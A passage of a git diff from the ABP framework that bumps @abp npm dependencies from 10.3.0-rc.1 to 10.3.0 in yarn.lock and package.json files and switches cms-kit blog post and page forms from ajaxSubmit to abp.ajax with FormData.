- resolved "https://registry.yarnpkg.com/@abp/select2/-/select2-10.3.0-rc.1.tgz#5292066ccf962ad92058d946b267d413c4876c40"
- integrity sha512-gAJaAuLoHaOhkdDwS2F3ZH3CR//8EClkEWDde2AcYS+W2AY9/4g9kAMUOD5IrkrrYvJ+DDa9u426Ds8n8s/B9g==
+"@abp/select2@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/select2/-/select2-10.3.0.tgz#199777173ca3e43a5448f8b51b30c3aafe4a3333"
+ integrity sha512-6sEIYIakVI1DM3eOqOaxwdG8vkyVFBWvVZhoChPZkgIIQ0EH2JLerHv0pePJEl6mQSxOUrikPA8++B2y+sBnQA==
dependencies:
- "@abp/core" "~10.3.0-rc.1"
+ "@abp/core" "~10.3.0"
select2 "^4.0.13"
-"@abp/slugify@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/slugify/-/slugify-10.3.0-rc.1.tgz#c8157d107352d7146402206e24eccf6ab480aece"
- integrity sha512-66Nd9c+u002OQf1IO2oQU7ZCThFEWUSVhxS56Un/sc6GOhuLe2TWDPuCbRe3qVuMU2sZdqf989w3WM4JBKCwtQ==
+"@abp/slugify@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/slugify/-/slugify-10.3.0.tgz#629f96a44b07d77439d9056531b43677d496caf3"
+ integrity sha512-+0WQAjKXLflXOobVkA41xAsvXVuMKZeoNSxGn97VDRLwmAPwb+moHV96fWF0iwju0kUZXNvbWFqbZfV07LitfQ==
dependencies:
slugify "^1.6.6"
-"@abp/star-rating-svg@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/star-rating-svg/-/star-rating-svg-10.3.0-rc.1.tgz#bc247af6b2a5a7dcbb95acfa062cdb468aee7c63"
- integrity sha512-ffaO88HeFmoOi5QvWBwlM9LKuK2zL5C99wZeM/o3kFdCk3+rbHf89582gqvbfXrn8g7slfzLflQUerRJhCP6QQ==
+"@abp/star-rating-svg@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/star-rating-svg/-/star-rating-svg-10.3.0.tgz#195d8175df2c82384752439d0677e27480c3f49d"
+ integrity sha512-7xXLgz2jxdkBceelG+uvnD9aKwwTV2FIDVCmpRF3AF+0c7jaJvtyM9vlx6xdTFQSSzDnSGG10k/jeYP7O2AjUg==
dependencies:
- "@abp/jquery" "~10.3.0-rc.1"
+ "@abp/jquery" "~10.3.0"
star-rating-svg "^3.5.0"
-"@abp/sweetalert2@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/sweetalert2/-/sweetalert2-10.3.0-rc.1.tgz#a344674f14b21f430a820805bc36768a6dde1f58"
- integrity sha512-UV3nSA3LdgygFr1ruFZRU1PVan455NMFILisXKRYVu9QwweFInmnliR6FmcDlTmPFW7RCLBk+lC9UblEcDthUA==
+"@abp/sweetalert2@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/sweetalert2/-/sweetalert2-10.3.0.tgz#515e0477574b54bc6650b9f5ee193bfc648c715a"
+ integrity sha512-bY5MXEiKja+vk71ujSn8rpzRC45Ge8zvcca1k1vBJs+oKyRCii//JBxa3H0lagZo5r/QwIqv5ihdyLE1xsuLSg==
dependencies:
- "@abp/core" "~10.3.0-rc.1"
+ "@abp/core" "~10.3.0"
sweetalert2 "^11.23.0"
-"@abp/timeago@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/timeago/-/timeago-10.3.0-rc.1.tgz#f0e476b65f19fd986c06231a331fdb4050d1a6c6"
- integrity sha512-ydBvTJ73BrV7A69vtWRzw//JmrLu6r4ow8J3GZy8vEuH9vlBWe1JHcPK6lOD3DDM+K6Jag5/31RL45ZuSSxcvQ==
+"@abp/timeago@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/timeago/-/timeago-10.3.0.tgz#3214a6d000c79504c9fa7cb4e004a967fe46459b"
+ integrity sha512-Rgcex+jvM9Z9/E0I5Q3wlC2bY5550/+6xRX407k5ho4gxCccYo3c0Gkpiy5pJRFhTwtBgcNzYxArh6NCez+tDg==
dependencies:
- "@abp/jquery" "~10.3.0-rc.1"
+ "@abp/jquery" "~10.3.0"
timeago "^1.6.7"
-"@abp/tui-editor@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/tui-editor/-/tui-editor-10.3.0-rc.1.tgz#2c2353694efa6f61849f4ed8c769fea95e0304ee"
- integrity sha512-Vxi9yKFJ5uBgmULppS67a4hBYC5/B+LIOdvG125x0FlCI5vO2+s+QMz09nQ6Fu4EaLmh4F0Qu0Q8FmRubpj7Jw==
+"@abp/tui-editor@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/tui-editor/-/tui-editor-10.3.0.tgz#4fe3879111fe5ee312048841fca1cac43bb9bb62"
+ integrity sha512-6zGfaYSggalgpS9tKjESXT6w00KK7fKN71rG/hxRLNRpLGn5aapHdlAZRNEUgEFYo9czFdMW8POHpVA+sjcDMw==
dependencies:
- "@abp/jquery" "~10.3.0-rc.1"
- "@abp/prismjs" "~10.3.0-rc.1"
+ "@abp/jquery" "~10.3.0"
+ "@abp/prismjs" "~10.3.0"
-"@abp/uppy@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/uppy/-/uppy-10.3.0-rc.1.tgz#c3be855b5060b3b58097b293f7ad6dbdc17a8c1d"
- integrity sha512-tIR78C2drAIwy+PHegaftgMVLQ9oYeXtl7L4nrLm8P9XkJi5jfRnlV7PCQUosU0JiUf6zLd/+lPt/k3oAnChmA==
+"@abp/uppy@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/uppy/-/uppy-10.3.0.tgz#3b333f4f9618cc24dba989c6e2a9cb8c9bad0b2b"
+ integrity sha512-5RGZv2pk6xIFOGbIQdMvLBtpencqYICCtL0wuSP58zU97FQuQdbV3Du/2ZZvqCyxinJG+SwUBog4t9PAI1qM8w==
dependencies:
- "@abp/core" "~10.3.0-rc.1"
+ "@abp/core" "~10.3.0"
uppy "^5.1.2"
-"@abp/utils@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/utils/-/utils-10.3.0-rc.1.tgz#b6e20d357b87a009ffef3e11a0e7cc3a887d461f"
- integrity sha512-tBcywC3T2ZUKS6znm1lCd+jP0peZolYyxjs1F7wyyH/y+Y08NYtGgLG/A8EaIv7iDY2K4WExzvWjTHB4lE1mFA==
+"@abp/utils@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/utils/-/utils-10.3.0.tgz#d88c0d639d69d6210c3070892aac61d5e945c124"
+ integrity sha512-iNehxiqWJQl2wwE9EbsQANPv/ITMh0yUcPATUlG/McoLWdpPcqobx75NxXcHDqW8ZarecqSktjJDZPvaUaD+jA==
dependencies:
just-compare "^2.3.0"
diff --git a/modules/cms-kit/src/Volo.CmsKit.Admin.Web/Pages/CmsKit/BlogPosts/create.js b/modules/cms-kit/src/Volo.CmsKit.Admin.Web/Pages/CmsKit/BlogPosts/create.js
index 1b3bd0b7f4..428a4b15f7 100644
--- a/modules/cms-kit/src/Volo.CmsKit.Admin.Web/Pages/CmsKit/BlogPosts/create.js
+++ b/modules/cms-kit/src/Volo.CmsKit.Admin.Web/Pages/CmsKit/BlogPosts/create.js
@@ -55,19 +55,20 @@ $(function () {
await submitCoverImage();
- $formCreate.ajaxSubmit({
- success: function (result) {
- if (isTagsEnabled) {
- submitEntityTags(result.id);
- }
- else {
- finishSaving();
- }
- },
- error: function (result) {
- abp.notify.error(result.responseJSON.error.message);
- abp.ui.clearBusy();
+ abp.ajax({
+ url: $formCreate.attr("action"),
+ data: new FormData($formCreate[0]),
+ processData: false,
+ contentType: false
+ }).done(function (result) {
+ if (isTagsEnabled) {
+ submitEntityTags(result.id);
}
+ else {
+ finishSaving();
+ }
+ }).fail(function () {
+ abp.ui.clearBusy();
});
}
}
diff --git a/modules/cms-kit/src/Volo.CmsKit.Admin.Web/Pages/CmsKit/BlogPosts/update.js b/modules/cms-kit/src/Volo.CmsKit.Admin.Web/Pages/CmsKit/BlogPosts/update.js
index 96d640127e..3f474b89ff 100644
--- a/modules/cms-kit/src/Volo.CmsKit.Admin.Web/Pages/CmsKit/BlogPosts/update.js
+++ b/modules/cms-kit/src/Volo.CmsKit.Admin.Web/Pages/CmsKit/BlogPosts/update.js
@@ -42,19 +42,20 @@ $(function () {
await submitCoverImage();
- $formUpdate.ajaxSubmit({
- success: function (result) {
- if (isTagsEnabled) {
- submitEntityTags($blogPostIdInput.val());
- }
- else {
- finishSaving(result);
- }
- },
- error: function (result) {
- abp.ui.clearBusy();
- abp.notify.error(result.responseJSON.error.message);
+ abp.ajax({
+ url: $formUpdate.attr("action"),
+ data: new FormData($formUpdate[0]),
+ processData: false,
+ contentType: false
+ }).done(function (result) {
+ if (isTagsEnabled) {
+ submitEntityTags($blogPostIdInput.val());
+ }
+ else {
+ finishSaving(result);
}
+ }).fail(function () {
+ abp.ui.clearBusy();
});
}
else {
diff --git a/modules/cms-kit/src/Volo.CmsKit.Admin.Web/Pages/CmsKit/Pages/create.js b/modules/cms-kit/src/Volo.CmsKit.Admin.Web/Pages/CmsKit/Pages/create.js
index ca7ab72cdc..4474e0fbee 100644
--- a/modules/cms-kit/src/Volo.CmsKit.Admin.Web/Pages/CmsKit/Pages/create.js
+++ b/modules/cms-kit/src/Volo.CmsKit.Admin.Web/Pages/CmsKit/Pages/create.js
@@ -36,16 +36,16 @@ $(function () {
$("#ViewModel_Style").val(styleEditor.getValue());
$("#ViewModel_Script").val(scriptEditor.getValue());
- $createForm.ajaxSubmit({
- success: function (result) {
- abp.notify.success(l('SavedSuccessfully'));
- abp.ui.clearBusy();
- location.href = "../Pages";
- },
- error: function (result) {
- abp.ui.clearBusy();
- abp.notify.error(result.responseJSON.error.message);
- }
+ abp.ajax({
+ url: $createForm.attr("action"),
+ data: new FormData($createForm[0]),
+ processData: false,
+ contentType: false
+ }).done(function () {
+ abp.notify.success(l('SavedSuccessfully'));
+ location.href = "../Pages";
+ }).always(function () {
+ abp.ui.clearBusy();
});
}
});
diff --git a/modules/cms-kit/src/Volo.CmsKit.Admin.Web/Pages/CmsKit/Pages/update.js b/modules/cms-kit/src/Volo.CmsKit.Admin.Web/Pages/CmsKit/Pages/update.js
index a58e601135..7ce5bb8b1b 100644
--- a/modules/cms-kit/src/Volo.CmsKit.Admin.Web/Pages/CmsKit/Pages/update.js
+++ b/modules/cms-kit/src/Volo.CmsKit.Admin.Web/Pages/CmsKit/Pages/update.js
@@ -34,12 +34,16 @@ $(function () {
$("#ViewModel_Style").val(styleEditor.getValue());
$("#ViewModel_Script").val(scriptEditor.getValue());
- $formUpdate.ajaxSubmit({
- success: function (result) {
- abp.notify.success(l('SavedSuccessfully'));
- abp.ui.clearBusy();
- location.href = "../../Pages";
- }
+ abp.ajax({
+ url: $formUpdate.attr("action"),
+ data: new FormData($formUpdate[0]),
+ processData: false,
+ contentType: false
+ }).done(function () {
+ abp.notify.success(l('SavedSuccessfully'));
+ location.href = "../../Pages";
+ }).always(function () {
+ abp.ui.clearBusy();
});
}
});
diff --git a/modules/docs/app/VoloDocs.Web/package.json b/modules/docs/app/VoloDocs.Web/package.json
index 9937a74b8b..0cbb4fa917 100644
--- a/modules/docs/app/VoloDocs.Web/package.json
+++ b/modules/docs/app/VoloDocs.Web/package.json
@@ -1,9 +1,9 @@
{
- "version": "0.1.0",
- "name": "volo.docstestapp",
- "private": true,
- "dependencies": {
- "@abp/aspnetcore.mvc.ui.theme.basic": "~10.3.0-rc.1",
- "@abp/docs": "~10.3.0-rc.1"
- }
+ "version": "0.1.0",
+ "name": "volo.docstestapp",
+ "private": true,
+ "dependencies": {
+ "@abp/aspnetcore.mvc.ui.theme.basic": "~10.3.0",
+ "@abp/docs": "~10.3.0"
+ }
}
diff --git a/modules/docs/app/VoloDocs.Web/yarn.lock b/modules/docs/app/VoloDocs.Web/yarn.lock
index bfe3ce4b85..55561a2a30 100644
--- a/modules/docs/app/VoloDocs.Web/yarn.lock
+++ b/modules/docs/app/VoloDocs.Web/yarn.lock
@@ -2,222 +2,222 @@
# yarn lockfile v1
-"@abp/anchor-js@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/anchor-js/-/anchor-js-10.3.0-rc.1.tgz#20071132f70087c146c2fcc88320843e55216b46"
- integrity sha512-W6CvSFvU5W19X53UTIBm5f8h3qJqm0Z398TeOtlbFdfPNBxpEU0Q5lVCo3/Qj85/AhEXA9S8iBl825XatNMf4w==
+"@abp/anchor-js@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/anchor-js/-/anchor-js-10.3.0.tgz#3c1c68fc41d770ac90ebf45d9aaa77b964dfb722"
+ integrity sha512-O4l8Kse3JOoSXKMyfzbQvErCrs3McCFevzYGakUb1cI/wgDfcMITO88oytSZl9R352haaKCpa7bC7EXHvMNgfw==
dependencies:
- "@abp/core" "~10.3.0-rc.1"
+ "@abp/core" "~10.3.0"
anchor-js "^5.0.0"
-"@abp/aspnetcore.mvc.ui.theme.basic@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/aspnetcore.mvc.ui.theme.basic/-/aspnetcore.mvc.ui.theme.basic-10.3.0-rc.1.tgz#82f61b5d112c8cbc5c74077809d84525edc1200a"
- integrity sha512-eo4ubQfc6zT2/uTKM7U7XS6vExSKsg2szfvybFuBWJjmgb1ybfU2dKDXK4OfLdt0/wUBqBlEKDNK6NWZTfiovQ==
- dependencies:
- "@abp/aspnetcore.mvc.ui.theme.shared" "~10.3.0-rc.1"
-
-"@abp/aspnetcore.mvc.ui.theme.shared@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/aspnetcore.mvc.ui.theme.shared/-/aspnetcore.mvc.ui.theme.shared-10.3.0-rc.1.tgz#465bb75a8b974be7a7945099fd9055ee68e3c9fe"
- integrity sha512-89ca3oXYFEkaKbC1+mNsn6U4x0bls5iffcp1ZqaY5LTfHUhO5tJXbNf5kiOiEwT9TCYwPUHyLbUd2+rT72MGFA==
- dependencies:
- "@abp/aspnetcore.mvc.ui" "~10.3.0-rc.1"
- "@abp/bootstrap" "~10.3.0-rc.1"
- "@abp/bootstrap-datepicker" "~10.3.0-rc.1"
- "@abp/bootstrap-daterangepicker" "~10.3.0-rc.1"
- "@abp/datatables.net-bs5" "~10.3.0-rc.1"
- "@abp/font-awesome" "~10.3.0-rc.1"
- "@abp/jquery-validation-unobtrusive" "~10.3.0-rc.1"
- "@abp/lodash" "~10.3.0-rc.1"
- "@abp/luxon" "~10.3.0-rc.1"
- "@abp/malihu-custom-scrollbar-plugin" "~10.3.0-rc.1"
- "@abp/moment" "~10.3.0-rc.1"
- "@abp/select2" "~10.3.0-rc.1"
- "@abp/sweetalert2" "~10.3.0-rc.1"
- "@abp/timeago" "~10.3.0-rc.1"
-
-"@abp/aspnetcore.mvc.ui@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/aspnetcore.mvc.ui/-/aspnetcore.mvc.ui-10.3.0-rc.1.tgz#c5764ec2fcab13ee591863c54e59e33fe1da90b4"
- integrity sha512-vmBsradTXcTEqHUXM5rTLYnsNNYJDeyyvz3kaLLqNwYhjo2FxL8D8IUZnp3Mk0qkBpYaYeGag5uxd06VDczDhg==
+"@abp/aspnetcore.mvc.ui.theme.basic@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/aspnetcore.mvc.ui.theme.basic/-/aspnetcore.mvc.ui.theme.basic-10.3.0.tgz#bf48e8fa571067d15bc19bdd3f13509acf58f9c7"
+ integrity sha512-t9pHqrXaCDYcsdrz0VPKT28ujnnU+EVxyVDogQSRRpKsDoLhNcOD8NI3swdAWBQZ46YSCDfeDR+gfwjC3yqpXQ==
+ dependencies:
+ "@abp/aspnetcore.mvc.ui.theme.shared" "~10.3.0"
+
+"@abp/aspnetcore.mvc.ui.theme.shared@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/aspnetcore.mvc.ui.theme.shared/-/aspnetcore.mvc.ui.theme.shared-10.3.0.tgz#bcf72b5dd1dea285c3fa7cb1b6ce27c29b985ff7"
+ integrity sha512-X5xmMSxnIzNJPexvKR9y6jyn0v5n2wscN1SECG/bMI1YdKugMlkfkSuyUmLn+RX9/YdcK0jOsdMhfuzs5mgAOA==
+ dependencies:
+ "@abp/aspnetcore.mvc.ui" "~10.3.0"
+ "@abp/bootstrap" "~10.3.0"
+ "@abp/bootstrap-datepicker" "~10.3.0"
+ "@abp/bootstrap-daterangepicker" "~10.3.0"
+ "@abp/datatables.net-bs5" "~10.3.0"
+ "@abp/font-awesome" "~10.3.0"
+ "@abp/jquery-validation-unobtrusive" "~10.3.0"
+ "@abp/lodash" "~10.3.0"
+ "@abp/luxon" "~10.3.0"
+ "@abp/malihu-custom-scrollbar-plugin" "~10.3.0"
+ "@abp/moment" "~10.3.0"
+ "@abp/select2" "~10.3.0"
+ "@abp/sweetalert2" "~10.3.0"
+ "@abp/timeago" "~10.3.0"
+
+"@abp/aspnetcore.mvc.ui@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/aspnetcore.mvc.ui/-/aspnetcore.mvc.ui-10.3.0.tgz#0d125efd172b6772c516eae82cfe35f144da73fc"
+ integrity sha512-kp0XdwrlNz+NeLdxSJ6xdUaB5PM7xdbiLsIyTUcwa7AUKBtcVU6yq6qttbk9VyO0KqDgLywSuEL+9PkFhthuPg==
dependencies:
ansi-colors "^4.1.3"
-"@abp/bootstrap-datepicker@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/bootstrap-datepicker/-/bootstrap-datepicker-10.3.0-rc.1.tgz#58586e2333116ef840c3abd44bb2b54f944c92b1"
- integrity sha512-PEXWi22YfOBdbxCUfLkEAVL45DCxzDbNALFLfsCK3LPvXuL5Pw0YU0CrezAW54+1tzPpbWh1HLyEyaUAINz6Wg==
+"@abp/bootstrap-datepicker@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/bootstrap-datepicker/-/bootstrap-datepicker-10.3.0.tgz#032aaf0e474f971b9f90ca7fb83ff7ca4d7be933"
+ integrity sha512-7mRuRRIE4R0yw1cZuoIskgrqZPUa5/SJzse0K6u+/QDqvyLjjOsyE51WuqAXxlVfKpLp/fBvXZwnCDeCRU9iZQ==
dependencies:
bootstrap-datepicker "^1.10.1"
-"@abp/bootstrap-daterangepicker@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/bootstrap-daterangepicker/-/bootstrap-daterangepicker-10.3.0-rc.1.tgz#088b96754014b3c7a8884689574c2332cd5c292e"
- integrity sha512-uZRh/Eh/3nyFe4KfMLRMud5LmUs2JFKSeA4KeRliGe1PD68E6NizP/ZiNzkYFP2K2p0nNUQrqmSe7ZFHVELN4A==
+"@abp/bootstrap-daterangepicker@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/bootstrap-daterangepicker/-/bootstrap-daterangepicker-10.3.0.tgz#b2a9171595ee311c32f57460013870cde67c6b7f"
+ integrity sha512-ejLu3sWhfNDlsXeUXAQudZvPv0xM4McxIK65vuVEZiKIwFSnrLYil8jBi12EJJmAw5yYA/KC0EdyG82E+AWpmA==
dependencies:
- "@abp/moment" "~10.3.0-rc.1"
+ "@abp/moment" "~10.3.0"
bootstrap-daterangepicker "^3.1.0"
-"@abp/bootstrap@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/bootstrap/-/bootstrap-10.3.0-rc.1.tgz#fc1ccf88e689af336fec9c76d367bcaf66253961"
- integrity sha512-vdhaz3ccmIflmufhNiQE/8I2RZdSSv3V4sbA2NC24csx8xl4J/R2JFhTyTLixpxOR+/p1cWw1F2oMYVzjV0+eg==
+"@abp/bootstrap@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/bootstrap/-/bootstrap-10.3.0.tgz#23535c90613271b02fdad3eae1556b67844729e6"
+ integrity sha512-JnVOeJUyR78oo+QURvaNqa9xGZaVux0PRIpFpd4Qsqiiz9FvJrbCuSoBkkZoj/0eH23WoZ3bJxy0K9LDE19qvg==
dependencies:
- "@abp/core" "~10.3.0-rc.1"
- "@abp/popper.js" "~10.3.0-rc.1"
+ "@abp/core" "~10.3.0"
+ "@abp/popper.js" "~10.3.0"
bootstrap "^5.3.8"
-"@abp/clipboard@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/clipboard/-/clipboard-10.3.0-rc.1.tgz#2350aba655b18510dea0ca50cb91e5e5960e9480"
- integrity sha512-jKo5H0+FSA+1aDdIWDmyAwNP2nFf19x4nAHbclkwnsexHBRfQlvx6yB6sY85BP+Ft6zxIn9gRRLbJPvFwsKBWw==
+"@abp/clipboard@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/clipboard/-/clipboard-10.3.0.tgz#7bfbfcae6a135065ee13afd1b7d3abc92176a203"
+ integrity sha512-Cah+jOzcG1KZh6PXWxo+BedU7gsqTuNlTDsCzBCk2NuV2/Blb5qumAwEP4GBKAEIY/XwcFQP/ubxuXMTNjr0jw==
dependencies:
- "@abp/core" "~10.3.0-rc.1"
+ "@abp/core" "~10.3.0"
clipboard "^2.0.11"
-"@abp/core@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/core/-/core-10.3.0-rc.1.tgz#68f85db8219e3a2618a60cf82933bc52a2d1ec49"
- integrity sha512-tOl/yDSPqRaHbENFVYcjqkdKGM4Qhjd/QPushVaH57pxalmv6canhiWAa0x7W31qxdY9od48H7MYoJx61jURhw==
+"@abp/core@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/core/-/core-10.3.0.tgz#9960f8179d1fdc42250d0bbba60e379590c8199c"
+ integrity sha512-DpL4qrsyCUolypUwxKVDDK8bPVhNbYKx6l2ytUjoOu73CwgPoCSGkvHWrmKIsEsmTfOC9J7+GDErh8jWR/5pVA==
dependencies:
- "@abp/utils" "~10.3.0-rc.1"
+ "@abp/utils" "~10.3.0"
-"@abp/datatables.net-bs5@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/datatables.net-bs5/-/datatables.net-bs5-10.3.0-rc.1.tgz#55e8dde9024c51ccb70fe5b640bbb434fff2e00d"
- integrity sha512-d6vFlrNgS6MIpXi2EcZjGFbFbCl5I5hzM49NxQeB3hyG7gUElFsEJkf66UcO8PN/56Uo+sFe/rCdrcvyLLDHmg==
+"@abp/datatables.net-bs5@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/datatables.net-bs5/-/datatables.net-bs5-10.3.0.tgz#d8711c52f7c03df51d14d1a5f0e6b00f6d9551fc"
+ integrity sha512-I8rEU98kEhsNZjVdpPvOcG6F4xr1CgIRb0bTf5bfd8ufzxEUKB+xF9bguJIB5kYwjme8QbMlcJ0V/c+N4iewtQ==
dependencies:
- "@abp/datatables.net" "~10.3.0-rc.1"
+ "@abp/datatables.net" "~10.3.0"
datatables.net-bs5 "^2.3.4"
-"@abp/datatables.net@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/datatables.net/-/datatables.net-10.3.0-rc.1.tgz#8e275f31d8b24b098c6acc3ec1de7ef2fe587e73"
- integrity sha512-m57imr9KOkasgDCIFaIgoDqFDhS71wzClE2WCk+Uk7qHLRgRMa7CYRHh5xeck4hgPWq9DEmAZS0ogbHxLgkLKQ==
+"@abp/datatables.net@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/datatables.net/-/datatables.net-10.3.0.tgz#f98319d8e226da5aced4d1d94d3ababb11327074"
+ integrity sha512-imM25WmO1V0hqeG5iPeLvYMID2HX7SG9drz47qilr74MhpY2i2J7HlsvZDonNkjpxzhK4DHpGeQd6mE2QzG7Hw==
dependencies:
- "@abp/jquery" "~10.3.0-rc.1"
+ "@abp/jquery" "~10.3.0"
datatables.net "^2.3.4"
-"@abp/docs@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/docs/-/docs-10.3.0-rc.1.tgz#eb565ee5dc89f6e34b4dd0fdf00024554fd5fe3e"
- integrity sha512-BXgNLZ2E1TY8tXH4N23SxmoJ1u4R/6OBPS6O5kbhFyOPS5oLk8G5UPErkqbab00zdWt2owyFUWOTUxzay6yLuw==
+"@abp/docs@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/docs/-/docs-10.3.0.tgz#9eb45987868543440a3cbc3ff518a581f304860c"
+ integrity sha512-tjCXLBJKi011FjvnpvilYBuZtmQU1n9h52Vtr4QyWjy26oUIoluc2XJwnth+C6L5l3a3zfmOnSnZmtaphAsp1g==
dependencies:
- "@abp/anchor-js" "~10.3.0-rc.1"
- "@abp/clipboard" "~10.3.0-rc.1"
- "@abp/malihu-custom-scrollbar-plugin" "~10.3.0-rc.1"
- "@abp/popper.js" "~10.3.0-rc.1"
- "@abp/prismjs" "~10.3.0-rc.1"
+ "@abp/anchor-js" "~10.3.0"
+ "@abp/clipboard" "~10.3.0"
+ "@abp/malihu-custom-scrollbar-plugin" "~10.3.0"
+ "@abp/popper.js" "~10.3.0"
+ "@abp/prismjs" "~10.3.0"
-"@abp/font-awesome@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/font-awesome/-/font-awesome-10.3.0-rc.1.tgz#e9d4a1b36652773509259440b77b804af18c5364"
- integrity sha512-8zvZh7lbPlvH0/SKYtUeQF+ezKSoohwFxzFhOJ88GOdtwp620mBCwYEHjZA64e/Xjk6Oda2VrdNJ318IvgjIvA==
+"@abp/font-awesome@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/font-awesome/-/font-awesome-10.3.0.tgz#43602605f5633132cc6fe21b6ce5ab19b86bdf27"
+ integrity sha512-RUOVHxDyT81hp01DhUuSshKvLM+NiTt9VP+O4/rSj+SOaSJAm3wX7eziCKrDi6H41FwhoZL75CifLhcZVyVO4A==
dependencies:
- "@abp/core" "~10.3.0-rc.1"
+ "@abp/core" "~10.3.0"
"@fortawesome/fontawesome-free" "^7.0.1"
-"@abp/jquery-validation-unobtrusive@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/jquery-validation-unobtrusive/-/jquery-validation-unobtrusive-10.3.0-rc.1.tgz#b547557e85838afcc783ef3d502c2da3a31f4a63"
- integrity sha512-NU00gPTHDF2HTnsHaZKAp17DTgAHUCz1fwuXRq4f7Ke5Q9HwiJx2IpIFaeR49xe9XRg1d9iRbNKFkMycjX7rEg==
+"@abp/jquery-validation-unobtrusive@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/jquery-validation-unobtrusive/-/jquery-validation-unobtrusive-10.3.0.tgz#5bc14ed642d48f9eae54761ad39bd9f51beeb005"
+ integrity sha512-j/9fA7tAs1/t3P2U1kKUiDlHAImmseul6KzvV77sNpnms7g4+x6Fgsa+sMzicSRGOLz7lK5RHdBFyvfKxt7/nA==
dependencies:
- "@abp/jquery-validation" "~10.3.0-rc.1"
+ "@abp/jquery-validation" "~10.3.0"
jquery-validation-unobtrusive "^4.0.0"
-"@abp/jquery-validation@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/jquery-validation/-/jquery-validation-10.3.0-rc.1.tgz#c4ab1a0692c1d224c5f60ffc4cb25545a7024c31"
- integrity sha512-JaUhEbhKFB1DPFe+xTeIqTvN3YgFm7gdlpqMxN9Q5k0mnecQHlNmXbmC0oDa+CyxZDvMjWOrSMrJw/8yL4moQQ==
+"@abp/jquery-validation@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/jquery-validation/-/jquery-validation-10.3.0.tgz#e669a54d28f6c0b863a284322e527a5c65cb7dbf"
+ integrity sha512-Wo95ZJLS1ScKm7dm3zFlEFUKqXrqo3m9+82DX5mFJUVCHHuBPrhxvDjxNJ18z4gpoOUu08uqxX7LFbphtkRM3g==
dependencies:
- "@abp/jquery" "~10.3.0-rc.1"
+ "@abp/jquery" "~10.3.0"
jquery-validation "^1.21.0"
-"@abp/jquery@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/jquery/-/jquery-10.3.0-rc.1.tgz#bc8d3a468483165f8d35cbfa5e91621c2fa53c8f"
- integrity sha512-tCZsi5U3oWZOazxRuqrEPyE85jZ4D71IfSrT9/Brf1wAELyrttt5ke3P57yQqjBevbfSqW652Wxca/w2GidQcg==
+"@abp/jquery@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/jquery/-/jquery-10.3.0.tgz#3b60bcdfe8f9a33be79db1bea2500837fe09c67d"
